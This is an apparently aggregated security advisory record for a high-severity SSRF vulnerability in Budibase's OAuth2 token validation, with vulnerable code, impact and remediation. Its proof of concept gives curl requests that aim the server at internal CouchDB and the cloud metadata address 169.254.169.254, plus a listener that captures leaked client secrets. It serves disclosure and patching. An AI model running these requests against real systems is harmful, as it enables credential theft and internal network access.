{"id":"CVE-2026-48146","aliases":["GHSA-g6qx-g4pr-92v7"],"title":"Budibase: SSRF via OAuth2 Config Validation — Missing fetchWithBlacklist Protection","summary":"Budibase: SSRF via OAuth2 Config Validation — Missing fetchWithBlacklist Protection","severity":"high","cvss":7.7,"cwe":["CWE-918"],"vendor":"budibase","product":"@budibase/server","ecosystem":"npm","affected":["@budibase/server < 3.39.0"],"patched":["@budibase/server 3.39.0"],"published":"2026-06-12","updated":"2026-06-12","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-g6qx-g4pr-92v7","references":[{"url":"https://github.com/Budibase/budibase/security/advisories/GHSA-g6qx-g4pr-92v7"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48146"},{"url":"https://github.com/advisories/GHSA-g6qx-g4pr-92v7"}],"tags":["ghsa","npm"],"epss":0.00217,"epssPercentile":0.1236,"ingestedAt":"2026-07-07T15:41:59.254Z","slug":"CVE-2026-48146","body":"## Overview\n\n### Summary\n\nThe OAuth2 token fetch function in `packages/server/src/sdk/workspace/oauth2/utils.ts` (line 59) uses raw `fetch(config.url)` with **no SSRF protection**. The safe wrapper `fetchWithBlacklist()` exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was **not applied** to the OAuth2 token endpoint.\n\nA user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data.\n\n### Details\n\n**Vulnerable code — `packages/server/src/sdk/workspace/oauth2/utils.ts:59`:**\n\n```typescript\nasync function fetchToken(config: OAuth2Config): Promise<TokenResponse> {\n  // ...\n  const response = await fetch(config.url, fetchConfig)  // NO blacklist check!\n  // ...\n}\n```\n\n**Safe wrapper used everywhere else — `packages/backend-core/src/utils/outboundFetch.ts`:**\n\n```typescript\nexport async function fetchWithBlacklist(url: string, opts?: RequestInit) {\n  await blacklist.isBlacklisted(url)  // Checks against internal IPs\n  const response = await fetch(url, { ...opts, redirect: \"manual\" })\n  // Re-checks every redirect target\n}\n```\n\n**Where `fetchWithBlacklist` IS used (consistency gap proof):**\n- `automations/steps/discord.ts` — Discord webhook\n- `automations/steps/slack.ts` — Slack webhook\n- `automations/steps/make.ts` — Make.com integration\n- `automations/steps/n8n.ts` — n8n integration\n- `automations/steps/zapier.ts` — Zapier integration\n- `automations/steps/outgoingWebhook.ts` — Custom webhooks\n- Plugin download (GitHub, NPM)\n- Object store tarball downloads\n\n**Where it is NOT used:**\n- `sdk/workspace/oauth2/utils.ts:59` — OAuth2 token fetch ← **THIS VULNERABILITY**\n\n### PoC\n\n```bash\n# 1. Start SSRF listener\npython3 -c \"\nimport http.server\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_POST(self):\n        length = int(self.headers.get('Content-Length', 0))\n        body = self.rfile.read(length)\n        print(f'SSRF: {self.path} | Body: {body.decode()}')\n        self.send_response(200)\n        self.send_header('Content-Type','application/json')\n        self.end_headers()\n        self.wfile.write(b'{\\\"access_token\\\":\\\"x\\\",\\\"token_type\\\":\\\"bearer\\\"}')\nhttp.server.HTTPServer(('0.0.0.0', 9999), H).serve_forever()\n\" &\n\n# 2. As builder, validate OAuth2 config pointing to internal service\ncurl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\":\"http://127.0.0.1:9999/ssrf\",\"clientId\":\"test\",\"clientSecret\":\"test\"}'\n\n# Result: Listener captures POST with Authorization: Basic header containing credentials\n# The client_id and client_secret are leaked to the attacker-controlled URL\n\n# 3. Access internal CouchDB\ncurl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\":\"http://127.0.0.1:5984/_all_dbs\",\"clientId\":\"x\",\"clientSecret\":\"x\"}'\n\n# Result: {\"valid\":false,\"message\":\"Unauthorized\"} — confirms CouchDB is reachable\n\n# 4. Access AWS metadata (in cloud deployments)\ncurl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\":\"http://169.254.169.254/latest/meta-data/\",\"clientId\":\"x\",\"clientSecret\":\"x\"}'\n```\n\n### Additional SSRF Vector: REST Integration Redirect Bypass\n\nThe REST integration at `packages/server/src/integrations/rest.ts:754-778` calls `blacklist.isBlacklisted(url)` only once on the initial URL, then passes it to `undici.fetch()` with default `redirect: \"follow\"`. Redirect targets are NOT re-checked against the blacklist. An attacker can use an external URL that 302-redirects to `169.254.169.254`.\n\n**Contrast with safe wrapper:** `fetchWithBlacklist()` uses `redirect: \"manual\"` and re-checks every redirect target.\n\n### Impact\n\n- **Internal service access** — CouchDB (default port 5984), Redis, internal APIs\n- **Cloud metadata exfiltration** — AWS/GCP/Azure IAM credentials via 169.254.169.254\n- **Credential leakage** — OAuth2 client_id and client_secret sent as Basic auth to attacker URL\n- **Network reconnaissance** — Scan internal ports by observing error differences (ECONNREFUSED vs timeout vs response)\n\n### Remediation\n\nReplace `fetch(config.url, fetchConfig)` with `fetchWithBlacklist(config.url, fetchConfig)` in `packages/server/src/sdk/workspace/oauth2/utils.ts`:\n\n```typescript\nimport { fetchWithBlacklist } from \"@budibase/backend-core/utils\"\n\nasync function fetchToken(config: OAuth2Config): Promise<TokenResponse> {\n  // ...\n  const response = await fetchWithBlacklist(config.url, fetchConfig)\n  // ...\n}\n```\n\nAlso fix the REST integration redirect bypass in `packages/server/src/integrations/rest.ts` by using `fetchWithBlacklist()` instead of raw `undici.fetch()`.\n\n## Affected packages\n\n- `@budibase/server < 3.39.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `@budibase/server 3.39.0`","depth":"twilight","depthScore":42,"depthScoreParts":{"impact":42.4,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}